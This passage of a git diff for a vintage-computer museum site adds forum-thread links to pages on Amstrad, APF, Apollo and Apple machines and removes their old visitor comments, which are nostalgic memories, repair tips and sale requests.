primitive with users only able to input one letter at a time in a box at the bottom of the screen." - - This is actually incorrect -- that description sounds more like Palm machines. The PDA600's screen was divided into a grid of small boxes, into which you wrote individual characters. So you couldn't write freehand, but you could write separate letters and see them. There was no box at the bottom of the screen, or anything like that, - - author: Rezty Felty (UK) - date: Wednesday 26th October 2005 - text: I was given one of these as a gift by my boss in 1994. I loved it and thought it worked quite well, but it was too fragile for me - 6 months after I started using it, i was looking up a number in it while in an airport phone kiosk, and it slid to the floor, shattering the glass screen. I think i still have it laying around somewhere if anyone is interested in the parts. - - author: David (Cambridge UK) - date: Thursday 28th October 2004 - text: |- - My Amstrad PDA600 was a completely unexpected christmas gift. I had spotted them for sale in Tandy for 50quid and said how cool thay looked. I received the PDA, 2meg PCMCIA card and leather cover. - - The text recognition was basic, but did the job once you learnt to write in the style it wanted. My PDA served me well through college and I still have very fond memories of it.\ - David oc_id: 876 source: url: https://web.archive.org/web/20230608090329/http://www.old-computers.com/museum/computer.asp?c=876 diff --git a/content/museum/amstrad-ppc-512-640.md b/content/museum/amstrad-ppc-512-640.md index 8913100b..7a6d809c 100644 --- a/content/museum/amstrad-ppc-512-640.md +++ b/content/museum/amstrad-ppc-512-640.md @@ -13,6 +13,7 @@ params: - links - docs - videos + forum_thread: 205 photos: - title: PPC-512 subtitle: '' @@ -100,212 +101,6 @@ params: - title: Amstrad PPC 640 with hard disk url: https://www.youtube.com/watch?v=uJxKBeEvtew text: 'Length: 9:28' - comments: - - author: Jack Ungerleider (USA) - date: Monday 13rd December 2010 - text: I had one of these and have to agree that the screen wasn''t that bad when compared to others of the era. I had used it with an adapter for Shortwave radios that allowed you to decode various types of transmissions. I sold it to a guy at a swap meet who was going to use it for a packet radio terminal. He liked the full keyboard and the "convenient" size. :-) - - author: Curtis Burisch (Johannesburg) - date: Tuesday 19th October 2010 - text: |- - I had one of these things, and it really was a truly horrible piece of hardware. - - The screen was so bad that even with an anglepoise lamp positioned directly over it, you could barely read it. Who came up with the idea of a non-backlit black-on-dark-green LCD?? It''s just nuts. - - And yes, it will run on 8 D-cell batteries. Good luck getting an hour''s use out of them! Running on batteries is a hideously expensive proposition. - - I ran MS-DOS 3.3 happily on this machine. I bought it second-hand with no software, if I remember correctly. - - If you have one of these, just toss it in the bin. It really doesn''t deserve to be remembered. - - author: David Frith (United Kingdom) - date: Wednesday 20th November 2019 - text: |- - I remember a 640 coming into our company''s possession in the late 80''s. We ran our business systems on an IBM S/36, and our month end processing took all week-end. I had to drive to the factory 2 or 3 times every month-end weekend to check the processing was OK, and fix any errors if necessary and prod it along again. We had a PC in the systems office with a S/36 terminal emulator in it, and it also had a modem (for sending BACS payments).\ - So, when we got the PPC640, I was able to transfer the S/36 console to the systems office PC, and take the PPC home, and dial in and use PCAnywhere to run the PC which had the S/36 Console. Absolutely brilliant for its day. What used to take a few hours out of my weekends now took a few minutes. I don''t remember any complaints about the screen. - - author: Dmitry (Russia) - date: Tuesday 4th June 2019 - text: |- - Hello,\ - I have one in my collection - it’s Amstrad PPC512DD with two floppy drives. Unfortunately my PC does not have a cover for battery compartment. Could you please help me to get this item without buying the whole machine? Is there either a source of spare parts for Amstrad PPC? I love my vintage laptop and going to set it in the best condition possible. Would be very grateful for any assistance. - - author: Cameron (Canada) - date: Friday 26th April 2019 - text: I still have one.In case with books and all cords.Except for the slew of D cell batteries one needs to have on hand if no plugs or 12v car holes are around it worked like a charm. And you can play some basic games on it.Reaaaaal basic.It is next to me right now. I like to take it to cyber cafes and plop it on a table just to see what people do and how they react.lol - - author: Jes Woodland (United Kingdom) - date: Friday 30th March 2018 - text: I actually have a fully functional PPC640 complete with original power supply,manuals and discs in the ''handy'' carry case! - - author: Ronnie - date: Thursday 11th January 2018 - text: |- - I have the "User Instructions" book if anyone wants it.\ - Free as long as you pay the postage.\ - FL, USA - - author: Jeff Joseph (VA USA) - date: Tuesday 31st January 2017 - text: |- - LCD screen was par for the era. Was useable. This Amstrad had a full-size keyboard with a numeric keypad, an unusual feature for a portable. Also outstanding was that the modem was 1200 baud. Every other portable from this era only had 300 baud. - - The 8 Mhz V30 was a fast chip for the day, and ran CP/M-80 2.2 with a software package like 22nice. I use it to run KAMAS, Out-Think, Supercalc, and Wordstar on the Amstrad. Download 22nice and 22disk from www.CPM80.com. - - author: Alan - date: Wednesday 9th March 2016 - text: I bought one of these (the 640) when they first came out. We used it almost entirely to drive an lcd panel that sat on an overhead projector and let you project onto a standard screen. For us it was a great buy, about six hundred pounds less than a standalone modem that could do the same speed, for remote demonstrations to potential customers. And no fan meant it was silent. That unit and the lcd panel made a teriffic sales tool and really helped convince customers we were a state of the art ncompany. It was cheaply made - but the tosh 486 laptop i had later cost six thousand pounds... - - author: sarah langan (United Kingdom) - date: Tuesday 20th October 2015 - text: |- - anyone know what power lead this requires and where I can get one?\ - I have a PPC512 but no lead so can''t tell if it works (want to sell it) - - author: Drwh0 (Spain) - date: Thursday 8th January 2015 - text: |- - For Nigel Ferguson (UK), the problem with keyboard is solved doing this: - - Unmount keyboard, separate the 2 plastic keyboard membranes (with your problem both seems one), try to separate from each other (don´t worry both are independent in spite that it seems glued), after that clean both with alcohol or something equivalent, after that mount again and problem solved. - - Is the very same problem that suffers CPC+ machines - - Hope it helps you - - author: Nigel Ferguson (UK) - date: Tuesday 8th July 2014 - text: I recently purchased a PPC 640. When it starts up it displays "Check Keyboard" and stops. Looking at the manual shows that this occurs when the PPC thinks a key is pressed during startup. I have checked the keyboard and all the keys appear to be not pressed. If any of you have any ideas please email me on nigelferguson6@gmail.com - - author: chris (uk) - date: Friday 9th August 2013 - text: Hi i just fired up my one which i had in the loft from about 1990 when i bought it new , it still works perfectly!! they built these babies to last ) - - author: Tristan Mumford (Australia) - date: Saturday 10th November 2012 - text: I have one of these, along with its backpack case. Still worked last time I tried it. Wasn''t masochistic enough to try the modem. Plays Prince of Persia just fine though. - - author: srichey - date: Tuesday 4th September 2012 - text: I bought one of these back in 89 along with some cheap word processing software and a 9 dot matrix printer. Piece of crap setup, but soooo much better than using a typewriter. It got me through my first couple of years of college. - - author: James Khoury (Atlanta, GA, USA) - date: Monday 23rd July 2012 - text: Back in early June, a friend of mine gave me a PPC640 and some floppies. Indoors, the screen is nothing to phone home about but it at least offers proper aspect ratio. Also, outdoors in sunlight the screen is very nice to look at. The computer serves mainly as a conversation piece. I love the styling and keyboard so maybe I''ll find a use for the machine one day. - - author: Ken (United Kingdom) - date: Saturday 25th February 2012 - text: I was given one of these when I worked for ICL over 22 years ago. OK, it was primitive, and the LCD screen was dire, but it had a full-size keyboard and I was able to work from home with the internal modem. It ran Windows 2, though this required 3 floppies - boot, then overlay, then program and data files - shutting down involved swapping floppies in the reverse order! I was the first person in our team to get MS Word 5 (for DOS) working, ahead of the rest of the guys with their ICL desktop PCs. When I customised mine (with my company''s agreement) with a 20Mb HDD in place of one of the FDDs, and added a CRT monitor it became a useful PC. - - author: neonblade (Northern NSW, Australia) - date: Monday 28th November 2011 - text: |- - Look for one of these in the movie "The eternal sunshine of the spotless mind" - - First computer I ever owned! - - author: Gordon McIntosh (UK) - date: Wednesday 6th April 2011 - text: I used one of these to develop and run a purchasing system in DBASE IV for a company I did my degree placement year with. I had no problem with the screen - the company did buy an external hard disc for it which made it much easier to use. - - author: Mike Blais (Canada) - date: Tuesday 22nd February 2011 - text: I had one of these laptop also. I created a boot disk with just MS-DOS 6.2 and the driver for a zip-100 on the printer port, I stored everything on zip disk including Word Perfect V5.1. It only had 1 720 k 3.5" floppy because the other drive gave me problem so I try to repair with no luck. It also had 640 kB of memory with v20 cpu, equal to 8088. No hard was found on the one I had. I miss that computer. - - author: John Elliott (UK) - date: Friday 15th October 2004 - text: |- - James: The PPC boot floppies are at - - http://web.ukonline.co.uk/cliff.lawson/files.htm - - author: JoenDave (England) - date: Saturday 15th January 2011 - text: This is gonna sound stupid but where are the dip switches located on the amstrad PPC 512? Everywhere i can find says "they are located at the back" but i can''t seem to find them at all. any help would be greatly appreciated :) - - author: Brett G (Australia) - date: Thursday 25th November 2010 - text: |- - This was my first computer when i was a kid. We used it as a fixed desktop with an external monitor. My dad won it in a comp at work which was the only reason we had a computer. - - I have fond memories because I bashed out my first code on this machine running DOS 6.0. - - The screen was useless, near unreadable so as a "portable" computer it sucked and the batteries lasted minutes but still nostalgia plus for me. - - author: MARCOS PASTORINO (uruguay) - date: Sunday 23rd May 2010 - text: I have a portable computer ppc 640 who belonged to my dad. I would like to sell. I kear offers. Tahnsk you. Bye - - author: John (UK) - date: Saturday 7th February 2009 - text: Still got one with an 85Mb hard disk. I seem to remember that up to 120Mb was available at the time. It has worked under MS-DOS 6.0 without any problems, but mine stays with reliable v3.3 and the necessary virtual drives C, D, AND E. Try Google for disk availability. - - author: Ean (Canada) - date: Friday 18th July 2008 - text: |- - My mother owned one of these with a version of WordPerfect running from floppy disks. - - I used to play with it sometimes as I was always programming or fiddling with things and one day I made it stop working. - - I didn't have the instructions so I thought I bricked it and it ended up in a closet for a long time. - - Now that I read the wiki article on it I think I simply turned the LCD off. :C - - D'oh! Stupid bastards making it a 6-switch dip switch! XD - - Okay, so I changed the setting... now which of !6 settings is it again? - - author: Jaume Von Vega - date: Tuesday 1st April 2008 - text: |- - I forgot it, but i checked the Tech. information and seen some things off of the reality. - - The keyboard is described as mechanic, but the feedback feels more membrane than mech...\ - Battery life : 1 hour happens only with hard disk models, floppy only's lasts about 6-8 hours. The sound is handled via a true loud speaker, no a beeper - - author: Jaume Von Vega (Catalonia) - date: Thursday 20th March 2008 - text: The LCD screen is not (that) poor, at lest isn't worst to other LCD's of the era... You just need to adjust the contrast to get a crisp and pretty fast image (You can play PC Man whitout ghosting!) - - author: James Tramm (Flagstaff, AZ, USA) - date: Sunday 5th September 2004 - text: |- - Hi, - - I just picked up an Amstrad ppc512, and need a boot disk. If anyone can help me out finding one it would be much appreciated. - - Thanks - - author: A Hodson (uk) - date: Sunday 29th February 2004 - text: I have a PPC640. I + a 2nd floppy drive & mono monitor. I learned to use the LetterPerfect word proccesor on it. Any1 have GEM for it? - - author: Jaume von vega (catalonia) - date: Thursday 12th February 2004 - text: 'i have a 512 with 640 Kb and when i opened it for put a second floppy drive i found a: ¡HARD DISK! of 20 Mb' - - author: Jaume von Vega (Catalonia) - date: Monday 9th February 2004 - text: |- - I recently bought a ppc 512 at ebay, and i want to know if the 3.5 drives heritages the rubber belt problems common to the 3" microdrives and if i cant switch it for a standard 3.5" drive.\ - thanks - - author: Nigel (Shropshire) - date: Wednesday 23rd July 2003 - text: |- - I have read elsewhere that the centre "pin" is the positive and the outer ring the negative. Spec of13.8v 1.9a. However I should think an approximate 12v would work. - - Now does anyone know if I can power the PPC from an Amstrad PC1512 monitor - the type with a power-supply built in? It appears to have a DIN plug which matches that on the back of the PPC. If so, this sounds a good option of use at home etc! - - author: TuX (France) - date: Monday 12th May 2003 - text: |- - Hi\ - I'd like to know if someone knows the polarity of the power supply cause i've got a ppc512 without original power supply and a 12v ac adaptator. - - thanx\ - TuX - - author: JaC (Poland) - date: Friday 27th December 2002 - text: |- - MSDOS v. 3.30 was distributed with PPC512, contained on single 360kB 3.5'' disc (can e-mail).\ - Later I used MSDOS 4.01, but that was on three separate diskettes. The biggest software I was using: Framework III, preparing my master thesis - - author: salvador (Spain) - date: Saturday 7th December 2002 - text: I've recently moved and have rediscovered in a corner my old amstrad ppc 512. I'd be happy to sell it with all its accessories. It works perfectly. - - author: Lucie Maycock (England) - date: Tuesday 17th September 2002 - text: |- - I have a friend who has one of these portable computers, he wants to know where he can get some disc's for it? Can anybody help me?\ - Please? - - author: parkan (NYC) - date: Saturday 31st August 2002 - text: I have one of these as well, although it is not a very interesting piece of hardware and it is stashed away in the closet. I have two boot disks and I would be happy to make an image of one and send it over to you, just email me at the above addres (remove the brackets areound the @ first, of course). - - author: Roy (Netherlands) - date: Wednesday 26th June 2002 - text: |- - I have one to. I think it is important to use DD disks. You can make them easily by putting tape over the right hole on your boot disk. It might work.\ - If you have tried other ways, I would like to hear them. - - Greets, - - Roy - - author: nico (france) - date: Sunday 5th May 2002 - text: I have one here with carrying case, boot disk, power supply, cords,etc... that is available for sale or trade. Mail me if interested... - - author: severine (????) - date: Wednesday 10th April 2002 - text: je suis a la recherche des drivers PPC 512 / 640 je l'est ai perdu cela fait trois jour que je fait des recherches sur internet mais pas de reponse pourriez vous me conseil ou me dire ou trouver ces drivers - - author: PdR (UK) - date: Sunday 3rd February 2002 - text: To my shame I have one, and to my shame I'm trying to get it to work (and failing). Was there a specific type of MS-DOS that the PPC needed to use to get the very nasty looking screen to work? related: - /museum/amstrad-pc-1512 - /museum/amstrad-pc-1640 diff --git a/content/museum/apf-imagination-machine.md b/content/museum/apf-imagination-machine.md index 41e78c71..88564485 100644 --- a/content/museum/apf-imagination-machine.md +++ b/content/museum/apf-imagination-machine.md @@ -70,6 +70,7 @@ params: - emulators - links - videos + forum_thread: 574 photos: - title: IMAGINATION MACHINE subtitle: '' @@ -134,25 +135,6 @@ params: - title: APF Imagination Machine Demo url: https://www.youtube.com/watch?v=ekzppKYQzcQ text: 'Length: 2 min 34 s' - comments: - - author: APF user - date: Thursday 20th April 2017 - text: |- - I went through five of these that were defective in various ways before I gave up and got my money back. The version of Basic was abysmally slow, and it did not have things like trig functions. - - The specs looked great and it looked like the complete package, but it just didn''t deliver on its promises. - - author: Lance (United States fl) - date: Sunday 6th March 2016 - text: cantstump22@gmail.com is my contact Email - - author: Lance (United States fl) - date: Sunday 6th March 2016 - text: I found one and I''m holding it right now. One Imagination machine and two of the detachable consoles. I''m not sure who I should talk to or what I should even do in order to sell it. Please contact at CantStump22@gmail.com if you have any suggestions or offers - - author: John (again) (Maine) - date: Tuesday 13rd March 2007 - text: I learned BASIC on the IM-1 in the 7th grade. Great memories. I used to program up in the spare bedroom with a b/w TV that my folks could spare. When I'd finished a significant bit of programming, I would lug the big thing downstair to view on the big family TV to check the colors I'd programmed! - - author: John (Maine, USA) - date: Monday 30th May 2005 - text: The Imagination Machine was my first real computer. I had a C64 after but wow I still remember opening the box and the huge machine coming out of it. I really learned to program on that machine. related: - /museum/apf-m1000-mp1000 software: diff --git a/content/museum/apf-m1000-mp1000.md b/content/museum/apf-m1000-mp1000.md index e6e03c90..809e167f 100644 --- a/content/museum/apf-m1000-mp1000.md +++ b/content/museum/apf-m1000-mp1000.md @@ -13,6 +13,7 @@ params: - emulators - links - videos + forum_thread: 1261 photos: - title: MP 1000 SYSTEM subtitle: '' diff --git a/content/museum/apf-match.md b/content/museum/apf-match.md index fc97b725..5c7f8ade 100644 --- a/content/museum/apf-match.md +++ b/content/museum/apf-match.md @@ -51,6 +51,7 @@ params: - software - emulators - links + forum_thread: 641 photos: - title: INSIDE subtitle: '' @@ -86,10 +87,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Elisha (male) (USA) - date: Monday 9th June 2003 - text: I think pong systems are cool !!!! I just recently found a pong system at a flea market..... its made by APF the same company that made match ...... this one is called TV FUN...... it works but i think there are some accesories missing or else it doesnt work right ?? If anybody has any info please post a note asking for my e-mail...... thanx related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/apf-tv-fun-model-401.md b/content/museum/apf-tv-fun-model-401.md index 4b19dc1f..c0002d48 100644 --- a/content/museum/apf-tv-fun-model-401.md +++ b/content/museum/apf-tv-fun-model-401.md @@ -53,6 +53,7 @@ params: - software - emulators - links + forum_thread: 983 photos: - title: TV FUN - MODEL 401A subtitle: '' @@ -71,37 +72,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: ronald bowen (north alabama) - date: Saturday 7th January 2012 - text: I have apf tv fun gome looks just like the apf 401 but is labaled 402 and has gun. just got it out of some junk stuff. - - author: Ant (Los Angeles) - date: Saturday 2nd April 2011 - text: My parents bought this for my brother in the 70''s. This was my first video gaming experience. Whats strange is they say it was made for the England market, so how did my parents buy one in the states? At some time they must have decided to sell here. I''m trying to put together a personal timeline so would be great if someone could provide that info - - author: charlie oliver (usa) - date: Sunday 6th March 2011 - text: APF TV Fun (Model 401) I got one it has the 2 cylinder and also a cool looking Gun :) QC - - author: Jonathan Allen Scher (Bowling Green, KY/United States) - date: Friday 8th October 2010 - text: I was wondering if there are still APF TV Fun Pong consoles left. But the one I''m looking for specifically is the model 442. The APF TV Fun that has two cylinder controllers. You know what I mean? It is for my future review of old games so I was wondering if you have one or somewhere else you know where I can buy one? - - author: Scott - date: Saturday 2nd October 2010 - text: AC adapter is 9V 500 mA tip positive - - author: Steve (Kansas) - date: Wednesday 9th December 2009 - text: Hey Zach, in case you ever get this message, I was wondering if you could provide me with detailed information on the specifications for the AC power cord. I have the system, but I lack the AC cable. I''m fairly sure I can buy a modern one to replace it, but I need the exact output settings so that I do not damage the internal circuitry. Any information is very appreciated. My email is Beesson6606(at)gmail(dot)com. Thanks a lot! - - author: Zach (Midwest) - date: Monday 25th February 2008 - text: I just acquired a APF Tv fun Model 401..It works and such, also has the box and manual (box is in rough shape). Anyway anyone know a value of this thing. - - author: Mike (Seattle, WA) - date: Wednesday 19th January 2005 - text: This was the first video game my parents bought for me. I thought it was sold under a different brand/name though. I recall they bought it from a local Fred Meyer store and paid around $50 USD for it (which was quite a bit in those days). Other pong systems were selling for about twice that, so this was a real bargin. - - author: alex compton (texas) - date: Tuesday 27th July 2004 - text: yeah if you put the switch to computer it should work - - author: jim bramlet (Pennsylvania) - date: Tuesday 13rd July 2004 - text: Does anyone no how to hook up the apf tv fun model 401 to a tv. It has a cable running out the back and when i plug it into the video in outlet no picture comes up but i can hear the sounds. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/apollo-7-squale.md b/content/museum/apollo-7-squale.md index 35e77771..0fd9ba71 100644 --- a/content/museum/apollo-7-squale.md +++ b/content/museum/apollo-7-squale.md @@ -74,6 +74,7 @@ params: - adverts - hardware - software + forum_thread: 234 photos: - title: LARGE VIEW subtitle: '' @@ -170,13 +171,6 @@ params: subtitle: '' text: '' image: /media/museum/software/appolo7_squale_ss3.jpg - comments: - - author: Denis Faivre (France) - date: Saturday 26th December 2020 - text: 'Believe it or not: one of my relatives won one of these computers by answering with my help a phone quiz on Radio Arc-En-Ciel, a local radio. I remember there were 2 questions to be answered: 1) How many bits in a byte? and 2) Which processor is powering the Squale? :-) The machine had a really sturdy riveted metal sheet case. If I recall correctly the user manual was a tiny paperback, the machine was pretty buggy and therefore useless, so it soon landed in a closet. Unfortunately, 30 years later I don''''t know what happened to it.' - - author: Andrew Fiori (Canada) - date: Monday 12th September 2005 - text: Does anyone have a Squale that they are willing to sell? I am interested in purchasing one, preferably with the S-BASIC manual. oc_id: 224 source: url: https://web.archive.org/web/20230130203607/http://www.old-computers.com/museum/computer.asp?c=224 diff --git a/content/museum/apple-1.md b/content/museum/apple-1.md index b215b798..79f32ce5 100644 --- a/content/museum/apple-1.md +++ b/content/museum/apple-1.md @@ -59,6 +59,7 @@ params: - emulators - links - docs + forum_thread: 83 photos: - title: MOTHER BOARD subtitle: '' @@ -102,87 +103,6 @@ params:  source : [http://www.chez.com/apple1](http://www.chez.com/apple1) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Achim (Germany) - date: Wednesday 23rd June 2021 - text: All known Apple-1 are listed in the Apple-1 Registry. https://www.apple1registry.com - - author: Joe Cassara (USA) - date: Tuesday 4th November 2014 - text: |- - The story of Apple and Commodore is a little more nuanced than what you''ve written in this entry. For a more complete account, I suggest you check out Brian Bagnall''s book \_Commodore: A Company on the Edge\_. - - Jack''s (actually, Chuck Peddle''s) interest has nothing to do with this machine''s "popularity". - - author: GSGeek (Quebec, Canada) - date: Monday 22nd April 2013 - text: new - - author: mc shop (itv ad) - date: Monday 22nd April 2013 - text: |- - newead dkfas sdkf\ - dsg dgfsdfg dsfsdfs dfss\ - dsgsd dsf sdf sd\ - caosed - - author: cfg - date: Monday 22nd April 2013 - text: dfg - - author: rj (ulster uk) - date: Tuesday 22nd November 2011 - text: |- - http://www.youtube.com/watch?v$EmwW_6kUdHw - - please post this link to youtube\ - hope yu can find your way to the real great sam sites on the net - - author: Dana (Los Angeles California) - date: Monday 10th January 2011 - text: I owned an apple 1. It came with 4 K of memory and I added another 4K so I could load Basic, from tape of course. I sold it to a computer shop in Reseda California about15 years ago, for $100. I wish I had it back now. - - author: Anders (Sweden) - date: Saturday 6th November 2010 - text: 'There is a site on the internet that sells a replica of the Apple I that you can use to try it out yourself: http://www.brielcomputers.com/replica1.html' - - author: Artfact - date: Thursday 5th August 2010 - text: |- - At Auction on Artfact LIVE, August 16 is AN APPLE I (APPLE-1) EARLY PERSONAL COMPUTER WITH OPERATION MANUAL, designed and hand-built by Steve Wozniak, Apple Computer Co., Pala Alto, CA, c. 1976, the fully assembled circuit board is displayed as a wall plaque with metal frame and measuring 9 x 15.5 inches. History behind the item - About 200 units were produced with an estimated 30-50 still known to exist. - - Check it out!! - - http://www.artfact.com/auction-lot/an-apple-i-apple-1-early-personal-computer-with-1-c-b8a066d9bb - - author: Xterra (USA) - date: Tuesday 6th July 2010 - text: According to Wikipedia, the Apple I was basically just a motherboard, without case, without keyboard, without monitor. It seems like a bunch of work to me! Nowadays, you could buy a "build-your-own" computer kit, but it wouldn''t be any kind of work like this, hoo hoo! - - author: Daniel - date: Tuesday 6th January 2009 - text: No, the Apple I did not come in a case. Whoever bought it, and wanted to, would have to build it. The wooden case is just a surviving, and pretty, example. - - author: Wills ward (USA) - date: Sunday 3rd December 2006 - text: Is it made out of wood? - - author: Niles (Spain) - date: Wednesday 2nd March 2005 - text: There is a real Apple 1 at the Science Museum of London. I was shocked when I saw it! :P - - author: Stephen (California) - date: Thursday 10th February 2005 - text: I am into the apple I and similar microcomputers, and out of nostalgia I want to design an apple I-based microcomputer with a casset interface and make my own programming language and burn it in a ROM (as crazy as it sounds, it's true!) Although the only way I have ever even played with an apple I is through an emulator, I still think they are very cool indeed! - - author: ernest (mexico) - date: Monday 22nd November 2004 - text: 'COUMO: the way to save data in the apple I was in audio casettes, with a ordinary casette recorder and the casette interface, visit applefriter.com' - - author: ernest (mexico) - date: Wednesday 19th May 2004 - text: what was the EPROM card for??? - - author: GSGeek (Quebec, Canada) - date: Thursday 8th April 2004 - text: Counterfeits... hmmm, maybe some creative people could clone the motherboard then stuff it with appropriate IC's of that era and voila! A new generation of Apple 1s. Getting the BASIC PROM content could be trickier tough (and getting software for it :^). - - author: Cuomo (Toronto) - date: Thursday 25th March 2004 - text: |- - i was looking at the Apple 1 and figured out that it had some memory and a keyboard...but what was it used for?\ - What did the user do with the saved data? could you save data?\ - please explain why anyone would spend money on this computer! - - author: Jon Jarmon (Tacoma Washington) - date: Sunday 26th October 2003 - text: |- - The Apple 1 is one of the most sought after collector items for vintage computer collectors.\ - It's value is around $30,000.Only around 250 were ever sold.Beware of counterfeits though.\ - Most counterfeits are just Apple 2's components in a wooden box and are easy to differentiate from an original apple 1.\ - The original Apple LISA(The first model only) can be worth upwards to $10,000 with original packing manuals,software and in excellent operational condition. oc_id: 67 source: url: https://web.archive.org/web/20230427093615/http://www.old-computers.com/museum/computer.asp?c=67 diff --git a/content/museum/apple-ii-571.md b/content/museum/apple-ii-571.md index e8641b8a..ce685065 100644 --- a/content/museum/apple-ii-571.md +++ b/content/museum/apple-ii-571.md @@ -71,6 +71,7 @@ params: - links - docs - videos + forum_thread: 562 photos: - title: TOP VIEW subtitle: '' @@ -555,46 +556,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: David (USA) - date: Friday 20th October 2017 - text: Just got my old Apple $$+ out of a box... Z80 CP/M card, 80 column card, speech synth, 75/110/300 baud modem, and 2400 baud modem, dual disk drives. so fun. and a gazillion floppies. PR$6. - - author: Edward (Tennessee/USA) - date: Friday 10th August 2012 - text: |- - I bought my first computer $ an Apple $$+ in mid-eighties for about $400 (second hand). Black screen with green text, ALL CAPS :D\ - Didn''t use the full capabilities of it $ but really became obsessed with "Snake" and the old game from Infocom $ "ZORK-3". Also liked the crude graphics of "Castle Wolfenstein".\ - Brings back memories...I may have to get it out of storage and fire it up! - - author: Pär (Sweden) - date: Tuesday 28th February 2012 - text: |- - I bought an Apple II+, the euro version.\ - It had 48K ram, two 140K disk drives and some extension cards: 80-column card with printer output, CPM card with a Z80 CPU (enabled me to use CPM O/S and program in Turbo Pascal!)\ - Awsome machine. I programmed in assembler and found out that the 1 MHz 6502 would easily outrun the 4 MHz Z80! Wow what a wonderful CPU 6502 was. - - author: Mark ((North Carolina, USA)) - date: Friday 7th October 2011 - text: My parents bought me an Apple II+ back in 1981 and I have to say it changed my life. I learned to program on it and couldn''t wait to explore what it had to offer. It truly was an exciting piece of equipment. Does anyone remember the MockingBoard voice synthesizer? That was cool to play around with. It the reason I''m in the IT field today. - - author: Ted (Canada) - date: Friday 19th August 2011 - text: I bought an Apple II+ clone kit PCB from a Toronto-based retailer, Exceltronics, with the intention of upgrading to higher-capacity memory chips. I wanted to use 2732 and 4164 devices on a separate interface card, while disabling or removing the OEM chips from the motherboard. I didn''t finish that project - kept the pre-programmed 2732''s. - - author: Wayne Dyrness (Kent, WA USA) - date: Monday 10th May 2010 - text: I bought the Apple II+ when it first came out. It came with 48K memory. I spent $269 for additional 16K. I still have the computer, monitor and all the software. There were not a lot of programs available at that time. I taught myself how to program and wrote an audio cassette labeling program, that I used and sold to other studios. I later wrote a book, "Apple Programming Secrets ''They'' Didn''t Want you to know." It was published by Prentice-Hall as part of their computer learning series. Since then, I''ve owned most every model of macs since the Mac Plus came out. I still write software today. But my fondest memories are of my old Apple II+ days. - - author: Alistair Martin (UK) - date: Monday 6th November 2006 - text: Nothing technical to report. Programs I recall were a thing called Visicalc (Father of Excel!) and the Lemonade game. However, I do remember, as a student teacher, going along to the computer department and finding a brand new Apple IIe lying untouched in the corner. Computer techs - at that time - thought that personal computers would "never catch on". I showed them how to set the machine up - they had no interest nor idea. This teacher training college still exists (as do some of the satff!!!) so I can't mention the name. - - author: Darren Harley (australia) - date: Friday 7th July 2006 - text: hi im looking for information on a apple2 model super64 mark2 looks to be like a early model 2 but has a numeric keypad as well..it has a hand scratched serial on the motherboard and no revision number..the serial is 2513..i can find no refrence to this model can somebody help..it also has a 2708 eprom burner..and a sam lingo 1983 soundcard..it has a label super64 mk2 on the top of the case factory...and a large stuk on apple sticker of the multicolourd apple wif bite outa it..there is also a 128k memory expansion card not installed in the machine..couple pal vid cards and automatic 80 collum card...thanks for any help identifying this strange machine..email me for pictures im happy to oblige...Darren - - author: Jay (New Jersey, USA) - date: Tuesday 14th December 2004 - text: Over a year since the last contribution. I LOVED this machine. Taught myself BASIC from tapes on the High School Library's brand new Apple II+ in my Freshman year. Also played around with the school's Trash-80's, but I enjoyed the colorful world of the Apple. I think it was the intro of the closed-system Mac that was the death of users not knowing what makes a computer run. - - author: Yves Mc Donald (Quebec, Canada) - date: Wednesday 1st October 2003 - text: Huh? What? Only one (now two!) post for such a popular computer? The Apple \]\[+ wasn't shiny when it comes to sound and graphics but it was versatile... and a great learning tool. It was my introduction to computer science and electronics. I'm still amazed by the the Disk II interface design. That was the time when users knew what was inside their computers. Can we say the same today witn Windoze machines? - - author: Steve (New Jersey) - date: Tuesday 30th April 2002 - text: The best thing about the Apple \]\[ was the large user community. This supported a wealth of technical publications, enabling hobbyists to get the most from their toy. Do you remember Nibble and Call-A.P.P.L.E.? They were two of the best, and there were lots more monthly and quarterly magazines. related: - /museum/apple-ii - /museum/apple-ii-clones diff --git a/content/museum/apple-ii-clones.md b/content/museum/apple-ii-clones.md index 01e7662d..72a7b084 100644 --- a/content/museum/apple-ii-clones.md +++ b/content/museum/apple-ii-clones.md @@ -66,6 +66,7 @@ params: - links - docs - videos + forum_thread: 1005 photos: - title: LASAR II - LARGE VIEW subtitle: '' @@ -508,41 +509,6 @@ params: - title: Apple II videoclip url: https://www.youtube.com/watch?v=_SoWRCy21pY text: 'Length: 3 min 03 s' - comments: - - author: Andres (Boston, MA, USA) - date: Thursday 15th August 2019 - text: I "think" I just bought one of these clones, but still trying to understand exactly what it is. It looks similar to the Lazar II clone, but the power supply and motherboard are original Apple ones, so I guess somebody changed the case. - - author: Brian S (Australia) - date: Sunday 2nd September 2018 - text: That should read "Apricot" :-) - - author: Brian S (Australia) - date: Sunday 2nd September 2018 - text: I had an "Aprocot" back in the mid 80s. The motherboard was in a box with a separate keyboard. - - author: Spad (France) - date: Saturday 24th June 2017 - text: To answer Vincent''s post. I just brought my old Golem back from the attic. - - author: infinite100 - date: Friday 15th August 2014 - text: |- - The most famous/infamous clone was the WOMBAT, trade name of a Taiwanese system sold in Australia. I think it was made by Bondwell, better known for CP/M systems.\ - Apple sued the distributor for patent/copyright infringement, winning the case and then going on to close down all the other clones. - - author: Pär (Sweden) - date: Tuesday 28th February 2012 - text: |- - I bought an MPF II (Microprofessor II) that had 64 K RAM, 16 K ROM and used external cassette player for storage. It had RF output so I could use the TV as monitor.\ - It was pretty small, smaller than todays iPad but twice the thickness. It had a small keyboard on it but the external keyboard with rubber keys was a must.\ - It also had Joystick of course and with it came a couple of games that were fun to play with friends on the TV.\ - The O/S was the same as on Apple II and it had of course a 6502 CPU @ 1MHz.\ - Cool little box. Regret selling it. - - author: Vincent (Belgium) - date: Wednesday 4th May 2011 - text: I do remember one of them, that I almost bought. It was for sale in France for around 6.500 FF (1000€) in 1983, and it was called "GOLEM". It case was almost identical to the Apple II, except for the grey color. - - author: mrkoolnerd (usa) - date: Saturday 15th January 2011 - text: 